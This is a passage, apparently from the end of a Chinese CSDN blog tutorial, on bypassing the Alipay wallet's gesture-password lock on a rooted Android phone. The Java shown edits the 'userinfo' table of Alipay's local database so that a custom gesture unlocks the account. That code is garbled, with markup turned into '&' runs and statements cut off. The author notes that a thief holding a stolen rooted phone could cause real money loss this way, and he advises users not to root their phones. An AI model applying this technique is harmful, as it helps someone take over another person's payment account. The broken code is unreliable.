&&&&&&&&&&&&&&&&&&&&&&&&&&& int n =db.update(&userinfo&, cv, &userId=?&, args);
&&&&&&&&&&&&&&&&&&&&&&&&&&& if (n& 0) {
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& bRet =
&&&&&&&&&&&&&&&&&&&&&&&&&&& }
&&&&&&&&&&&&&&&&&&&&&&&&&&& db.close();
&&&&&&&&&&&&&&&&&& } catch(NameNotFoundException e1) {
&&&&&&&&&&& e1.printStackTrace();
&&&&&&&&&&&&&&&&&&
&&&&&&&&&&&&&&&&&& return bR
&&&&&&&& }
&&&&&&&& 最后,程序运行效果如图16所示。
&&&&&&&& 输入自定义密码,点击确认,程序提示设置成功。此时,打开支付宝,输入我们的自定义手势代码即可解锁支付宝进入熟悉的主界面了。
如上所述,通过修改支付宝钱包数据库来达到破解目的的方法是需要在已经root过的手机上才能使用的。设想一下这种情况,我的手机已经root,并且手机被盗。那么,除了手机上的艳照有可能泄露之外,小偷还可以通过修改支付宝的手势密码来登录我的支付宝,因此,造成直接的金钱损失也不是没有可能。
&&&&&&&& 一般来说,普通用户日常使用的手机尽量不要去root,也不要随便去下载来历不明的软件和外挂。
* 以上用户言论只代表其个人观点,不代表CSDN网站的观点或立场
访问:36942次
排名:千里之外
原创:44篇
评论:26条
(4)(4)(8)(9)(5)(1)(14)

我要回帖

更多关于 绕开迅雷 的文章

 

随机推荐